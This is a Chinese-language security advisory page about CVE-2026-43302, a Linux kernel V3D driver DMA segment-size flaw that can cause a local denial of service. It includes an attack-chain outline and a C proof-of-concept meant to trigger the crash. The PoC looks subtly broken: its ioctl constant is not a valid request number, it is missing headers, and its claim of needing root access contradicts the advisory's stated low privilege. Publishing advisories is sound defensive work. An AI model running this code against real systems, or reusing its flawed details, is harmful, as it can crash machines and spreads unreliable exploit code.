IPBUF安全漏洞报告
English
CVE-2026-43302 CVSS 5.5 中危

CVE-2026-43302: Linux内核V3D驱动DMA段大小设置缺陷

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43302
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSV3DDMALocalDriver

漏洞概述

Linux内核中的V3D驱动程序存在一个漏洞,主要涉及DMA(直接内存访问)段大小的设置问题。当启用CONFIG_DMA_API_DEBUG配置时,内核会检测到V3D驱动尝试映射的散列-聚集(sg)段长度超过了设备声称的支持范围。由于未设置max_seg_size,内核默认为64KB,而V3D实际使用的段长度(如8290304字节)远超此限制。这导致内核触发调试警告并可能导致系统崩溃,从而造成拒绝服务。

技术细节

该漏洞源于Linux内核DRM(直接渲染管理)子系统中V3D驱动程序的初始化逻辑缺失。在DMA操作中,设备驱动需要明确告知DMA子系统其支持的最大段大小。V3D驱动未设置此参数,导致系统默认使用64KB的阈值。然而,V3D硬件在处理渲染缓冲区时,往往需要处理大块内存(例如日志中显示的8MB左右的段)。当内核通过dma_map_sgtable接口将这些大段内存映射给设备时,DMA调试机制会检测到长度不匹配。攻击者利用此漏洞需要本地访问权限并触发V3D渲染操作,从而导致系统不稳定或崩溃。

攻击链分析

STEP 1
步骤1
攻击者获取本地访问权限(AV:L),登录到运行受影响Linux内核版本的系统(如Raspberry Pi 5)。
STEP 2
步骤2
攻击者执行图形渲染任务或调用DRM接口,特别是针对V3D设备的IOCTL操作,创建一个较大的缓冲区对象。
STEP 3
步骤3
V3D驱动尝试通过DMA映射该缓冲区。由于未设置max_seg_size,映射长度超过默认的64KB限制。
STEP 4
步骤4
内核的DMA调试机制(debug_dma_map_sg)检测到段大小不匹配,输出警告信息。
STEP 5
步骤5
严重情况下导致系统崩溃或Xorg进程终止,造成可用性影响(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43302: Trigger V3D DMA debug warning/crash * This code attempts to create a buffer object (BO) larger than 64KB * using the V3D driver to trigger the debug_dma_map_sg warning. * Requires: Root access, V3D hardware (e.g., Raspberry Pi), * and kernel built with CONFIG_DMA_API_DEBUG enabled. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdlib.h> #include <string.h> // Simplified DRM structures for demonstration #define DRM_IOCTL_MODE_CREATE_DUMB 0xC020 struct drm_mode_create_dumb { uint32_t width; uint32_t height; uint32_t bpp; uint32_t flags; uint32_t handle; uint32_t pitch; uint64_t size; }; int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct drm_mode_create_dumb create_req = {0}; // Request a buffer larger than 64KB (e.g., 4096x4096x4 bytes = ~16MB) create_req.width = 4096; create_req.height = 4096; create_req.bpp = 32; // Trigger the v3d_create_bo_ioctl path // This leads to v3d_bo_create_finish -> dma_map_sgtable if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create_req) < 0) { perror("IOCTL failed"); close(fd); return 1; } // Check dmesg for: // "DMA-API: v3d ... mapping sg segment longer than device claims to support" printf("Buffer created. Check dmesg for DMA warnings.\n"); close(fd); return 0; }

影响范围

Linux Kernel < 6.12.53
Linux Kernel stable branches prior to commit 0290934d30abe7c88e18140fd5184c3f386b1e44

防御指南

临时缓解措施
如果无法立即升级内核,可以在内核编译配置中禁用CONFIG_DMA_API_DEBUG选项。这将防止内核因段大小不匹配而触发警告或崩溃,但请注意这仅绕过了检测机制,并未修复底层的DMA配置逻辑问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表